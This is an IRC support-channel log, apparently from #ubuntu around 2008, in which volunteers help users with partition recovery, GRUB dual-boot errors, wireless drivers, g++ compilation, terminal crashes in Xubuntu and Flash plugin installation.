[09:25] <ArthurArchnix> Sul: I'm not sure. Let me check the forums.
[09:25] <navid> Reno: Can I do that without installing Ubuntu because I am trying to repair a partition?
[09:25] <Sul> Arthur: thanks
[09:25] <PLSshowyourhelp> hello everyone,When i turn on my ubuntu, it can mount my fat32 partitions auto .can i configure it?
[09:26] <ethan961> gparted ive cd, navid
[09:26] <Reno> navid:  it is a terminal command
[09:27] <navid> ethan961 the gparted livecd messes the BIOS and I cannot use my keyboard & mouse, better to stick to ubuntu one
[09:27] <PLSshowyourhelp> hello everyone,When i turn on my ubuntu, it can mount my fat32 partitions auto .can i configure it?
[09:27] <Reno> Has anyone got any idea for my problem?
[09:28] <ArthurArchnix> Sul: Hmm.. can't find any info. Have you tried using synaptic yet? If it's possible, it will install java to RAM, not the hard-disk. It will be slow.
[09:28] <pradeep> hai if I write a kernel module and save it in the editor, How do i compile it?
[09:28] <n2diy> Reno: What's your problem, I just woke up?
[09:28] <Sul> Arthur: thanks and will look into it
[09:29] <ethan961> the systm rescue cd has qtparted if thet would do

[09:30] <PLSshowyourhelp> PLSshowyourhelp: hello everyone,When i turn on my ubuntu, it can mount my fat32 partitions auto .can i configure it?
[09:30] <Sul> Arther: thanks
[09:30] <n2diy> Reno: ok, a Nvidia card? There is a special channel for that, but I don't recall where it is now, sorry.
[09:30] <n2diy> ! nvidia
[09:30] <ubotu> To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[09:31] <Reno> n2diy: is is a s3 Unichrome pro kmd 800, everything is wel in my Xorg.conf
[09:31] <l3ttuc3> American-tech im not entirely sure, but the way i went about it is to find out if there were linux drivers available, and seeing as my wireless card didnt, installed ndiswrapper with the windows xp drivers. and it's worked since.
[09:31] <ArthurArchnix> Sul: Search for sun-java5 and try to install the bin, jre, and plugin. Hopefully that works.
[09:31] <Sul> Arther: thanks
[09:32] <ArthurArchnix> Sul: You right-click, then mark for installation. Let me know if it works. I'm curious.
[09:32] <ArthurArchnix> :)
[09:32] <Sul> Arther: will post after rebooting and thanks
[09:32] <n2diy> Reno: roger that, I don't play with video stuff, so I can't help you, good luck.
[09:33] <ArthurArchnix> Sul: If it's a live cd after you reboot sun will disappear. Definitely don't reboot after you try it.
[09:33] <pradeep> How do I compile a kernel module in gedit
[09:33] <Reno> n2diy: thanx for the efford
[09:33] <American-tech> Ok let me get ndiswrapper installed
[09:34] <Sul> Arther: I am on Win now and will insert the CD before rebooting and then try and install Java; and post results later
[09:34] <n2diy> pradeep: you don't, gedit is a text editor.
[09:34] <PLSshowyourhelp> When i turn on my ubuntu, it can mount my fat32 partitions auto .can i configure it? 555555555
[09:35] <Leechzilla> American-tech: My sister also had trouble with the Mini card and the linux driver didn't work. Ndiswrapper from repository didn't work either, but compiling it from source worked. So incase your ndiswrapper installation doesn't help you get your wireles card working, try compiling it also.
[09:35] <pradeep> What is the procedure start a Kernel programming? Where do I write the module?
[09:36] <ArthurArchnix> pradeep: Your question is very general. What exactly are you trying to do? Install some new alsa drivers? Apply a patch from a website?
[09:36] <astro76> pradeep: http://www.tldp.org/LDP/lkmpg/2.6/html/index.html
[09:37] <jonathan> oh i am trying to mount a fat 32 also does it need to be mounted /windows to be used by both systems or can i do /media? or othe suguestions?
[09:37] <ArthurArchnix> astro76: Nice link. But seeing as how pradeep wanted to use gedit to compile some modules, probably a bit advanced for him, no?
[09:37] <astro76> ArthurArchnix: probably, but unless he asks a specific question...
[09:38] <ArthurArchnix> astro76:  O:-)
[09:38] <n2diy> How could you compile a kernel with gedit?
[09:38] <ArthurArchnix> n2diy: With great difficulty I would imagine.

[09:39] <navid> ubunty experts, any idea how to repair an XP partition with gparted? I am confused over what to do with gparted i have it running
[09:40] <ArthurArchnix> navid: AFAIK gparted can't repair partitions. It can delete them, format them, create them, resize them. To repair a windows partition you would need to use windows tools. Again... afaik.
[09:40] <astro76> navid: what's the problem?
[09:41] <navid> Really..???  What's the problem?
[09:41] <navid> astro76: I was installing ubuntu I accidently click on Create New Partition table in one of the steps and erased deleted my xp partition
[09:41] <foibles> my splash screen is showing a different screen refresh rate than when im on my desktop
[09:41] <foibles> would anyone know anything about how to fix this?
[09:41] <navid> So I ended up with 30gb of free space and 200gb of unallocated
[09:42] <astro76> ouch, dunno about partition table repair
[09:42] <navid> Its suppose to be 30gb of space for ubuntu, and 200gb of Xp...
[09:43] <jonathan> boot up with ur ubuntu cd and use partition manager
[09:43] <brenix> foibles: just a guess, but check the settings in "Login window" under administration menu
[09:43] <brenix> i think i saw something in there for that
[09:43] <foibles> brenix, will do
[09:43] <navid> jonathan: do you mean Gparted?
[09:44] <jonathan> well if you are jsut trying to change the partitions you can use partition manager i havent used gparted before
[09:44] <American-tech> I am using wifi rader program and sees the networks but fails to connect to any of the networks. Can't aquire the ip
[09:44] <pradeep> ArthurArchnix:I am not using gedit to compile the module. I am asking how do you compile a module. Probably I sholud not have mentioned gedit
[09:45] <navid> I have ubuntu 7.04  I dont think it comes with partition manager. And by change I meant to undo what I did,
[09:45] <ere4si> !module
[09:45] <ubotu> Sorry, I don't know anything about module - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[09:45] <ArthurArchnix> navid: http://www.partition-recovery.com/   or maybe    http://www.thefreecountry.com/utilities/datarecovery.shtml   I'll take a look and see if there are any linux tools.

[09:47] <Noogen> FY1: so what did you end up with? ndiswrapper?
[09:47] <foibles> FY1, yes
[09:47] <ArthurArchnix> navid: It has this program to recover a deleted partition http://www.cgsecurity.org/wiki/TestDisk
[09:47] <FY1> Noogen: yes, I followed some instructions
[09:47] <foibles> i installed ubuntu studio to check it out
[09:47] <foibles> and it uses gnome
[09:47] <foibles> though yes, i could install kde
[09:47] <FY1> Noogen: can we get someone to have ubotu redirect here: https://help.ubuntu.com/community/WifiDocs/Driver/Ndiswrapper#autostart
[09:47] <ArthurArchnix> navid: I've never used it, but I can tell you to not do anything else to your disks until after you've tried to recover the partition using that system rescue cd.
[09:47] <foibles> im just saying, gnome is horrible
[09:47] <FY1> that's what worked for me ^^
[09:48] <FY1> Incredibly helpful
[09:48] <FY1> !ndiswrapper > FYI
[09:48] <navid> ArthurArchnix: I know what you mean and Thanks for the links man. I havent even instaled ubuntu yet due to fear of losing data. Ok time to get ResccueCD a try
[09:48] <TheDarkKiller> Hey, GRUB does not work on my dualboot installation. I have 2 harddrives, 1 XP and 1 Ubuntu. XP was installed beforehand. I installed Ubuntu on the new harddrive using the normal livecd, and followed the wizard. Now, when I boot up, it says: "GRUB loading stage1.5... GRUB loading, please wait... Error 2". I've tried reinstalling, restoring GRUB, nothing works. Some help would be great :)
[09:49] <FY1> !ndiswrapper > FY1
[09:49] <TheDarkKiller> It just seems like GRUB doesn't see the stage1 and stage2 files. Why, I have no idea.
[09:49] <mosno> what percentage roughly of Ubuntu main/restricted/universe/multiverse packages actually are debtagged?
[09:49] <mosno> ie. should i bother using it on Ubuntu vs say Debian
[09:49] <n2diy> ! grub | TheDarkKiller
[09:50] <ubotu> TheDarkKiller: grub is the default Ubuntu boot manager. Lost grub after installing windows: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows - Making GRUB floppies & other GRUB howtos: https://help.ubuntu.com/community/GrubHowto
[09:50] <navid> Thanks guys, I'll resume my work tomorrow. I need sleep its been 8 hours
[09:50] <Starnestommy> TheDarkKiller: it means there's a bad file or directory type
[09:50] <TheDarkKiller> Yeah, I know.
[09:50] <TheDarkKiller> But I've tried reinstalling and restoring GRUB, that doesn't work.
[09:51] <ArthurArchnix> TheDarkKiller: The problem is fixable. But it's trial and error. What's most likely happened is that grub get's installed to the mbr of the windows disk, then can't see the boot files on the ubuntu disk. There's lots of info on the forums. I've seen this sort of thing so much though that now I recommend removing the windows disk, putting the ubuntu disk in it's place, installing ubuntu, then pluggin in the windows disk into the sec
[09:51] <foibles> why does my password not work when i try to enter "configure login manager" at my splash screen
[09:51] <n2diy> TheDarkKiller: is it a Dell machine?
[09:52] <TheDarkKiller> No
[09:52] <n2diy> TheDarkKiller: is it a Dell machine?
[09:52] <TheDarkKiller> No.
[09:52] <n2diy> TheDarkKiller: OK
[09:52] <TheDarkKiller> Well, the Windows disk is master and the Ubuntu disk is slave.
[09:52] <ArthurArchnix> TheDarkKiller: If you want to try troubleshooting it, start with your bios. Swap the disks around in the bios to boot first from the second disk.
[09:52] <TheDarkKiller> I did that.
[09:53] <TheDarkKiller> Same.
[09:53] <ArthurArchnix> TheDarkKiller: Yeah. What can I say. Their sata disks right?
[09:53] <TheDarkKiller> No, ATA 100 & 133.
[09:53] <TheDarkKiller> (the ubuntu disk is ATA 100)
[09:53] <ArthurArchnix> TheDarkKiller: Huh. well, that's new at least.
[09:54] <jonathan> I am making a fat 32 partition for windows and Ubuntu to share, does it need to be mounted in a certian location for both to be able to read and write?
[09:54] <ranbog_> Hi
[09:54] <ranbog_> can anyone help me?
[09:54] <TheDarkKiller> I bought the new Ubuntu disk recently, and its sole purpose was to dualboot.
[09:54] <ArthurArchnix> TheDarkKiller: Well, remove the windows disk, put the ubuntu disk in the master position, make sure the jumper is set right, then use the live cd to reinstall grub. then add windows (change jumper to slave).
[09:54] <Starnestommy> ranbog_: maybe
[09:54] <ranbog_> ok
[09:54] <TheDarkKiller> Hnm, I'll try.
[09:54] <n2diy> TheDarkKiller: OK, could the hard drive have come from a Dell machine, Dell used to hide partitions on their hard drives, that weren't friendly with Linux.
[09:54] <ranbog_> i have install ubuntu studio
[09:55] <TheDarkKiller> No, n2diy :P
[09:55] <ranbog_> and im am very satisfaid
[09:55] <ranbog_> but
[09:55] <TheDarkKiller> It's a Seagate Barracuda hdd, 320 GB.
[09:55] <ranbog_> i want to put them more beautifull and atractive
[09:55] <n2diy> TheDarkKiller: OK
[09:55] <ranbog_> so one gui recomnde me that i install compiz fusion
[09:55] <ArthurArchnix> TheDarkKiller: Or check out the forums. But I warn you, ubuntu installer and grub do not play nice in dual boot/dual disk scenarios where ubuntu is installed to the second disk.
[09:55] <TheDarkKiller> Arthur, I'll try your suggestions.
[09:55] <ranbog_> its true that compiz fusion its better than berryl?
[09:56] <astro76> !beryl | ranbog_
[09:56] <ubotu> ranbog_: Beryl has been merged with Compiz to form Compiz-Fusion.  New Beryl installs are discouraged. See also !compiz
[09:56] <TheDarkKiller> Hope it'll fix the problems (btw, I hate to boot up with this damn livecd everytime :P)
[09:56] <TheDarkKiller> bbl
[09:56] <ranbog_> hummm
[09:56] <ArthurArchnix> TheDarkKiller: good luck.
[09:56] <ranbog_> but in compiz fusion i have miss some funcions of beryl
[09:56] <ranbog_> like 3d windows
[09:57] <astro76> ranbog_: ask in #compiz-fusion they can probably help
[09:57] <ArthurArchnix> ranbog_: Are you running gutsy?
[09:57] <Turel> hi all i have problem about grub loader i want to disable it. because i had an other start up loader ( watch dog- like deep freeze )
[09:57] <ranbog_> gustsy?
[09:57] <ajitam> hi how can I search for folder thought entire disk
[09:57] <ranbog_> im running ubuntu studio
[09:57] <n2diy> ajitam: locate
[09:57] <ajitam> n2diy: thx
[09:57] <ArthurArchnix> ranbog_: Oh... sorry, don't know anything about that.
[09:58] <ranbog_> ok
[09:58] <ranbog_> no problem
[09:58] <ranbog_> thanks
[09:58] <Turel> how can i disable grub loader ?!
[09:58] <l3ttuc3> if i manually update the grub menu.lst, do i need to do anything else for it to reflect those changes when next time i boot up?
[09:58] <ArthurArchnix> ranbog_: In ubuntu compiz is installed by default, but you need to install the settings manager to get full control of all the available plugins. Maybe studio is similar.
[09:58] <astro76> l3ttuc3: sudo update-grub
[09:59] <ArthurArchnix> Turel: Why would you want to?
[09:59] <l3ttuc3> thanks astro76.
[09:59] <n2diy> Turel: I don't know, but how will you boot without it?
[09:59] <astro76> !ccsm | ranbog_

[10:00] <Turel> there are 2 OSs on my PC winXP and Ubuntu 7.04( installed again today ) but there was a loader on xp a third party program like deepfreeze
[10:00] <Turel> named watch dog it was booting xp
[10:01] <n2diy> Turel: Is Ubuntu loading?
[10:01] <Turel> after grub loader my win os doesnt boot :( because it needs to watch dog's loader
[10:01] <Turel> yes it is loading i m on ubuntu now
[10:02] <Turel> n2diy !?
[10:02] <n2diy> Turel: Then it is a Windows problem, not a Ubuntu problem, no?
[10:03] <Starnestommy> try asking ##windows
[10:03] <Turel> not i have to disable grub loader
[10:03] <astro76> Turel: how will you boot ubuntu?
[10:04] <Turel> i dont want to boot ubuntu -
[10:04] <Turel> if i disable grub loader my problem will be fixed
[10:04] <Starnestommy> go ask ##windows, then
[10:04] <astro76> Turel: they're right, this is not an #ubuntu problem ;)
[10:04] <astro76> Turel: there's no disabling, you just install a different boot loader
[10:04] <th0r> Turel do you have the windows xp insall cd?
[10:04] <Turel> yes i have
[10:05] <pradeep> ling some C++ code. But it will not detect the directories why?
[10:05] <ArthurArchnix> Turel: Usually, grub hands control of booting windows off to the windows boot loader when you choose windows. But you have a third-party boot-loader so grub doesn't hand control over to it properly. You can try checking out the grub forums or else maybe any support forums for your boot app. Or, boot up a windows recovery cd, run fixmbr. Then, assuming your third party boot loader can handle linux partitions you can try reinstalling
[10:05] <Turel> but there are a lot of important source code on winxp :( i have to save them :(
[10:05] <th0r> Turel boot from the windows install cd. when it prompts you type 'R' for repair and it will take you to a command prompt. Type 'fixmbr' at that prompt, and then when it is done reboot
[10:05] <ArthurArchnix> Turel: Grub has most likely over-written your boot-loader, removing grub will most likely just leave your system unbootable.
[10:05] <Starnestommy> you could mount the windows partition in ubuntu

[10:13] <digitalspaghetti> so i have to open archives to extract them
[10:13] <n2diy> #ubuntu-kernel?
[10:13] <Lokii-> i seem to only use source
[10:14] <jesse> BlakJak: does Alt+F2 open a kindof "Run..." dialogue for you?
[10:14] <misc--> n2diy: ah ok thanks I'll try there
[10:14] <jesse> BlakJak: im not sure if Alt+F2 works in xubuntu :p
[10:14] <BlakJak> jesse: it does
[10:14] <Guilty0ne> i'm installing LAN card drivers for linux, and i have a problem concerning insmod. when i input sudo insmod r8168.ko, it returns insmod: error inserting 'r8168.ko': -1 File exists. Any ideas?
[10:14] <pradeep> Starness tommy:Help?
[10:14] <th0r> jesse yes it does
[10:14] <BlakJak> jesse: If I choose 'terminal' from the menu structure it seems to crash X
[10:15] <jesse> xfce4-terminal
[10:15] <jesse> whoops
[10:15] <BlakJak> shows me ~5 lines of text and punts me back to the xwindows login screen..
[10:15] <jesse> BlakJak: try putting "xfce4-terminal" in the run dialogue
[10:15] <Starnestommy> pradeep: which directories are you trying to use?
[10:16] <th0r> jesse I think it is now called Terminal (with an upper case T)
[10:16] <Guilty0ne> i'm installing LAN card drivers for linux, and i have a problem concerning insmod. when i input sudo insmod r8168.ko, it returns insmod: error inserting 'r8168.ko': -1 File exists. Come on people, this can't be so hard, can it?
[10:16]  * jesse crashed BlackJak's X :P lol
[10:16] <blakjak> er.. ya.. thanks.. :P
[10:16] <jesse> th0r: yeah, thats what its called in the menu
[10:16] <n2diy> Guilty0ne: Google for Realtek drivers, there may be more than one for your card.
[10:16] <BlakJak> jesse any other thoughts?
[10:16] <jesse> BlakJak: try "xterm", the most basic terminal emulator
[10:17] <pradeep> Starnesstommy:<iostream>
[10:17] <th0r> jesse no...that's the name of the executable...honest <smile>
[10:17] <Guilty0ne> well, i don't think other drivers would help
[10:17] <Guilty0ne> cause these were the best, in my opinion
[10:17] <BlakJak> jesse: ahh. that worked
[10:17] <slain> can anyone please help me with create a custom alternate cd
[10:17] <Makuseru> hi, can someone help me set up MIDI?
[10:17] <jesse> BlakJak: okay, now you MIGHT be able tot ake it from there
[10:17] <slain> all what I would like to do is update the alternate cd
[10:18] <LetterRip> hi hald is writing to my harddisk every five seconds which is really annoying
[10:18] <pradeep> Starnesstommy:http://www.josuttis.com/libbook/cont/bitset1.cpp.html has the cpp code i compiled
[10:18] <jesse> BlakJak: the problem is if you run "xfce4-terminal" from the xterm, X will crash before you get to read the terminal output :P
[10:18] <LetterRip> any idea how to make stop so my HD can sleep?
[10:18] <BlakJak> jesse: i dont suppose it'll put anything in syslog?
[10:18] <TheDarkKiller> Finally :D
[10:18] <th0r> BlakJak: do you have xterm open?
[10:19] <TheDarkKiller> I'm into Ubuntu.
[10:19] <pradeep> Starnestommy:http://www.josuttis.com/libbook/cont/bitset1.cpp.html has the cpp code I complied
[10:19] <BlakJak> th0r: yes, I do .
[10:19] <BlakJak> xfce4-terminal kills X.  xterm worked
[10:19] <jesse> LetterRip: what does "cat /etc/fstab | grep noatime" say?
[10:19] <Joe__> I did fsck and something went very.. VERY wrong, I'm backing up things now thanks the to liveCD... but is there anyway to fix it without a reinstall?  I can mount and see/use the disks fine under the liveCD but when I try to boot normally it fails
[10:19] <th0r> BlakJak:type 'Terminal' with an uppercase T
[10:19] <Starnestommy> pradeep: try g++ -o foo -I/usr/include -I/usr/include/c++/4.1/
[10:19] <th0r> BlakJak:that should open the xfce terminal
[10:19] <BlakJak> says it's not currently installed..
[10:19] <TheDarkKiller> Thanks alot, Arthur :)
[10:19] <jesse> Joe__: what does it say?
[10:19] <LetterRip> jesse nothing
[10:19] <ArthurArchnix> TheDarkKiller: Have you got windows booting yet?
[10:19] <th0r> BlakJak:there's your problem <smile>
[10:19] <Joe__> nothing, it freezes
[10:19] <Starnestommy> pradeep: oops, forgot the foo.c thing at the end
[10:19] <Joe__> recovery mode gives me the Kernel Panic error
[10:20] <th0r> BlakJak:two options ... install Terminal or change the menu to use xterm
[10:20] <BlakJak> th0r: this is a brand new install... i'm confused.. :P
[10:20] <BlakJak> what is 'Terminal' ?
[10:20] <th0r> BlakJak:it is xubuntu?
[10:20] <jesse> LetterRip: hmm, and you know its hal thats doing it?
[10:20] <BlakJak> th0r: yus, 7.10
[10:20] <Joe__> but if I can mount them and grab data to backup via the liveCD... then the data must still be good, right?
[10:20] <LetterRip> jesse - eh not for positive
[10:20] <th0r> BlakJak:Terminal is the terminal emulator that xfce uses...just a sec
[10:20] <LetterRip> but someone reported the exact same sympton
[10:20] <LetterRip> and it was hald that was the culprit
[10:21] <BlakJak> th0r: I have two boxes ive just installed, both have the same issue... a bug in the release perhaps?
[10:21] <jesse> LetterRip: ah, there must be a way to track down what app is writing/reading from disk
[10:21] <karri> Hi, i can't see my mp3 player or camera anymore in "Computer" when i connect these devices to my USB port. Why? Can i get them back?
[10:21] <LetterRip> jesse running dstat
[10:21] <LetterRip> just a sec
[10:21] <th0r> BlakJak:ah jeez....another suse vs ubuntu problem. In ubuntu it is called xfce4-terminal. If you type that in xterm it crashes X right?
[10:21] <BlakJak> yep
[10:21] <BlakJak> thats what jesse had me do before
[10:21] <jesse> LetterRip: i dont know what that is, but okay :D
[10:21] <BlakJak> ;p
[10:21] <Makuseru> hi, can someone help me set up MIDI?
[10:21] <th0r> BlakJak:just a sec while I log into my server and check something
[10:22] <BlakJak> th0r: k
[10:22] <th0r> BlakJak:my laptop runs suse and my server runs xubuntu
[10:22] <n2diy> ! ask | Makuseru
[10:22] <ubotu> Makuseru: Please don't ask to ask a question, ask the question -- All On One Line, so others can read it and follow it easily --. and if anyone knows the answer they will most likely answer. :-)
[10:22] <th0r> BlakJak:the new terminal for xfce is Terminal, but apparently ubuntu is sticking with the old
[10:22] <BlakJak> right..
[10:22] <LetterRip> darn it just tells me what writes when
[10:23] <LetterRip> not what is writing it
[10:23] <BlakJak> i'll use apt to install Terminal
[10:23] <jesse> Makuseru: tell us what the problem is, and someone will help you if they can.
[10:23] <TheDarkKiller> Athur, for the moment, I'll stick with Ubuntu :P
[10:23] <BlakJak> seems to me that if thats the case xubuntu shouldve installed Terminal instead of xfce..
[10:23] <th0r> BlakJak:just a sec...checking to see if it is available
[10:23] <Makuseru> jesse: i cant get any instrument synths that require midi to work
[10:23] <TheDarkKiller> But it had a "Windows XP" option in the menu, so I guess it's fine.
[10:23] <Makuseru> they just make no sound
[10:23] <th0r> BlakJak:ubuntu is rather conservative about adopting new stuff
[10:23] <brandonD> how do i change my resolution
[10:23] <BlakJak> apt says its there...
[10:23] <jesse> BlakJak: "Terminal" is just what xfce4-terminal and gnome-terminal are called in the menu.
[10:23] <brandonD> i have tried editing the xorg
[10:23] <BlakJak> geezus, lots of dependencies
[10:23] <brandonD> but it doesnt work
[10:24] <jesse> BlakJak: you know, just to simplify things.
[10:24] <karri> i can't see my usb devices in computer folder anymore. Can anyone help me to get them back there?
[10:24] <BlakJak> the error tells me to run apt-get install terminal.app
[10:24] <th0r> BlakJak:Terminal isn't available in ubuntu, but xfce4-terminal is...try reinstalling it
[10:24] <brandonD> in system > resolution
[10:24] <jesse> BlakJak: i have both xfce4-terminal and gnome-terminal installed on my computer, and they are both called "Terminal" in the menu.
[10:24] <brandonD> its just 800
[10:24] <brandonD> 800-600
[10:24] <Starnestommy> brandonD: tried system > screens and graphics?
[10:24] <ArthurArchnix> TheDarkKiller: Ok.. glad you got ubuntu working. If you try to boot windows and fail try checking out this link. I'm helping someone else with the same problem, and the grub hack I mention might work for you, or you can ask for more help there. http://ubuntuforums.org/showthread.php?t=664864
[10:24] <BlakJak> th0r: I should try reinstalling xfce4-terminal?
[10:24] <Ximal> hey guys.. for some reason when I installed gnash my youtube started screwing up..
[10:25] <LetterRip> jesse hmm another search suggests that it might be ext3 writing a journal entry
[10:25] <BlakJak> jesse: I'm a server guy, this is my first play with X in a long time.
[10:25] <th0r> BlakJak:yes
[10:25] <BlakJak> so i've nfi.
[10:25] <Ximal> is there a way to download an official deb file for flash retail ? not the generic crap ?
[10:25] <jesse> Ximal: flash retail?
[10:25] <BlakJak> th0r: ok, hints on how to do that?  To restart your X, type « sudo /etc/init.d/?dm restart » in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[10:26] <Starnestommy> pradeep: try g++ -o foo -I/usr/include -I/usr/include/c++/4.1/ foo.cc
[10:26] <chalcedony> "The panel encountered a problem while loading "OAFIID:GNOME_FastUsersSwitchApplet" Do you want to delete the applet from your configuration? " umm what?
[10:26] <jesse> LetterRip: im pretty sure that wont be it. ext3 is designed to properly let HDs sleep when they're not being used :P it sounds like some misbehaving process or misconfiguration.
[10:26] <n2diy> ! homey | Lokii
[10:26] <ubotu> Sorry, I don't know anything about homey - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[10:26] <th0r> BlakJak:no...bring up synaptic. right clikc on xfce4-terminal and choose reinstall
[10:26] <LetterRip> jesse, ok
[10:26] <Makuseru> no one know how to set midi up ?
[10:26] <LetterRip> so how do i track disk access?
[10:26] <cyzie> is there a comand to parse the rules changelog and control file for syntax correct?
[10:27] <Starnestommy> Makuseru: try looking uo timidity
[10:27] <Lokii-> anyone installed xrender ?
[10:27] <Ximal> so is there a way to download an actual working deb file ?// for flash by adobe ? cause gnash screwed up completely on my browser/system
[10:27] <Kelyen> Please i have a problem
[10:27] <Kelyen> I'm seeking the mp3 codecs for ubuntu
[10:27] <Starnestommy> Ximal: /msg ubotu !flash
[10:27] <Kelyen> but my computer isn't connected :s
[10:27] <Ximal> !flash
[10:27] <ubotu> To install Flash see https://help.ubuntu.com/community/RestrictedFormats/Flash - Flash 9 is now available in dapper-backports and edgy-backports - See also !Restricted and !Gnash
[10:27] <LetterRip> jesse will reboot and see if it magically fixes
[10:27] <ubotu> The Flash plugin installation is currently broken. This is due to Adobe changing the tar file that the package downloads. See http://ubuntuforums.org/showthread.php?t=636397 if you need to fix this immediately, but it's recommended to wait for an official fix.
[10:27] <Lokii-> Kelyen, gstreamer should work fine
[10:28] <jesse> Ximal: yes, the package is called flashplugin-nonfree
[10:28] <jesse> Ximal: uninstall gnash first.
[10:28] <BlakJak> th0r: dya know how it's categorised?
[10:28] <Ximal> i'm uninstalling both plugins first
[10:28] <Ximal> then going to reinstall flash
[10:28] <Kelyen> Lokii- Where i can download it please ?
[10:28] <neopsyche> Hi all..
[10:28] <Lokii-> Kelyen, apt-get
[10:29] <Kelyen> My computer isn't connected
[10:29] <neopsyche> Im trying to use tor with vidalia but when i start tor in vidalia it gives error: Jan 13 12:25:08.285 [Warning] Could not bind to <IP_ADDRESS>:9050: Address already in use. Is Tor already running?
[10:29] <Kelyen> And i'm on windows :s
[10:29] <pradeep> Starnestommy: I tried it. But the message is the same. 'No i/p files'
[10:29] <Lokii-> google
[10:29] <th0r> BlakJak:when synaptic comes up the packages will be listed in the right hand window in alphabetical order...go way down the list to the x's
[10:29] <neopsyche> Is there an existing tor process running? if so how do i stop it ?? prevent it from starting? or is there another problem?
[10:29] <Starnestommy> neopsyche: try sudo killall tor
[10:29] <neopsyche> thanks
[10:29] <jesse> Kelyen: you can download the packages manually at packages.ubuntu.com , and then install them one by one on the system in question.
[10:29] <Starnestommy> pradeep: is it c or c++?
[10:30] <pradeep> starnestommy:c++
[10:30] <BlakJak> th0r yeh i figured, it hides it under 'Miscellaneous'... took me a little bit of looking to find it
[10:30] <Kelyen> thanx all jescs
[10:30] <BlakJak> reinstalling now.
[10:30] <Kelyen> jesse**
[10:30] <neopsyche> Thanks strnestommy.. it worked.. but how do i prevent tor from initialising automatically on boot?
[10:30] <th0r> BlakJak:oh...I always use synaptic in 'All' ....just an alpha list
[10:30] <jesse> Kelyen: the packages you are looking for are "ffmpeg" and "gstreamer0.10-ffmpeg" and "libxine1-ffmpeg"
[10:31] <Joe__> please?
[10:31] <Starnestommy> neopsyche: look in /etc/rc2.d/ and remove something like S20tor
[10:31] <neopsyche> Ok. thanks
[10:32] <pradeep> Starnestommy:Is there any specific location the file should be saved?
[10:32] <blakjak> well that didnt help much heh.
[10:32] <Joe__> system fails to boot, shows a kernel panic error, can mount under liveCD without a problem... how do I fix it without a reinstall?
[10:32] <Starnestommy> pradeep: I don't think it matyers
[10:32] <Starnestommy> *matters
[10:32] <th0r> blakjak still crashes?
[10:32] <Starnestommy> neopsyche: also, look in /etc/rc3.d and similarly-named directories
[10:33] <jesse> Joe__: sounds FUBARed
[10:33] <neopsyche> Starnestommy: my ISP is being messed up ... i cant connect to some sites.. for example.. can connect to freenode.net not freenode.org??
[10:33] <Joe__> this part I know... what I don't know is how to unFUBAR it
[10:33] <Starnestommy> neopsyche: I think freenode.org isn't used anymore
[10:33] <n2diy> Joe__: Try your boot options, noacp, nodma, etc...
[10:33] <BlakJak-> th0r: aye
[10:33] <jesse> Joe__: i would install a new Ubuntu on a seperate partition, then mount the old ubuntu and copy over what you need, then get rid of the old one and expand the new one to fill entire HD.
[10:33]  * ArthurArchnix waves goodbye
[10:34] <Joe__> I was thinking of that...
[10:34] <BlakJak-> seems a bit sucky for an out-of-box install to not be able to run its default terminal ;-)
[10:34] <Joe__> but what do I need if I don't want to fight to reinstall everything again?
[10:34] <th0r> BlakJak- jeez...my next step would be to download the source and compile it from scratch...but I hesitate to recommend that to anyone else <smile>
[10:34] <monfreex> how come ubuntu kind of dims when its trying to do a process that is taking too long
[10:34] <Starnestommy> Joe__: depends on what errors it displays along with the kernel panic
[10:34] <Joe__> or more accurately... what is the minimum I need to replace for it to boot
[10:34] <jesse> Joe__: i dont know, kernel panics are like blue screens of death, not really sure what your supposed to do to fix it :P
[10:34] <monfreex> is it always like that?
[10:34] <BlakJak-> th0r: sheesh, ya'd think an unmodified image downloaded from the official site would work without fuss..
[10:34] <th0r> BlakJak- there are no options that I know of to change. terminals are pretty basic...I have never encountered problems with them
[10:35] <n2diy> ArthurArcnix: 73
[10:35] <BlakJak-> me neither
[10:35] <pradeep> Starnestommy: g++ -o p2 -I/usr/include -I/usr/include/c++/4.1/p2.cc. Is it right?
[10:35] <Joe__> Starnestrommy:  as soon as this is done backing up my home, I'll reboot again and get the exact errors
[10:35] <jesse> BlakJak-: did it past the integrity test fine?
[10:35] <Ximal> hey guys... wut's the flash command again ? sudo apt-get install flashpugin-nonfree ?
[10:35] <neopsyche> Starnestommy: tor network map on vidalia still shows no data .. im not getting any data throug?
[10:35] <jesse> BlakJak-: the cd, that is
[10:35] <th0r> BlakJak- yeah. No consolation but I installed xubuntu on my server and have had no problems with it.
[10:35] <jesse> Ximal: yes
[10:35] <BlakJak-> jesse: have to confess I didnt run one..
[10:35] <BlakJak-> however everything else works
[10:35] <Starnestommy> pradeep: put a space after the last /
[10:35] <Joe__> luckily I have 3 machines so backing up isn't a problem... and I have a spare HD on this computer I can install a new OS into
[10:35] <BlakJak-> im gonna run one now, thats for sure:p
[10:36] <BlakJak-> I would've used Ubuntu itself cept these are only 1ghz boxes
[10:36] <jesse> BlakJak-: yeah, theres your problem. some burning apps will also check the integrity of the disk after burning it, which is also nice. (k3b does)
[10:36] <BlakJak-> jesse: burnt in winblows, so i make a leap of faith..
[10:36] <jesse> (if you tell it to)
[10:36] <jesse> BlakJak-: thats where Ubuntu's built in integrity check comes into play ;)
[10:37] <mariusz> tja
[10:37] <th0r> BlakJak- just so you know...you could have used the ubuntu cd and just installed xfce as an additional desktop. Having gnome on the hard drive wouldn't slow things down any
[10:37] <Ximal> guys
[10:37] <Ximal> Download done.
[10:37] <Ximal> md5sum mismatch install_flash_player_9_linux.tar.gz

[10:37] <Ximal> how do I just download it ?
[10:37] <KEBA> hi, i start a few pr9gs automatical, now i want to sstart prog xy ever on the third dektiop...
[10:38] <jesse> Ximal: yup, thats a problem thats yet to be fixed. i had that problem as well, ill find the solution... wherever i put it.
[10:38] <BlakJak-> th0r: i was recommended xubuntu as being relatively kind to lower spec boxes
[10:38] <KEBA> i use ubuntu gusty
[10:38] <Ximal> screw that.. i'll just go to the website and download it
[10:38] <jesse> Ximal: from adobe?
[10:38] <Ximal> yup
[10:39] <Ximal> ill download the source for compile from somewhere ifi have ta
[10:39] <jesse> Ximal: flash isnt open source, so you dont have to compile it.
[10:39] <BlakJak-> btw, from syslog: Jan 13 23:30:58 tomcat gdm[5197]: WARNING: gdm_slave_xioerror_handler: Fatal X error - Restarting :0

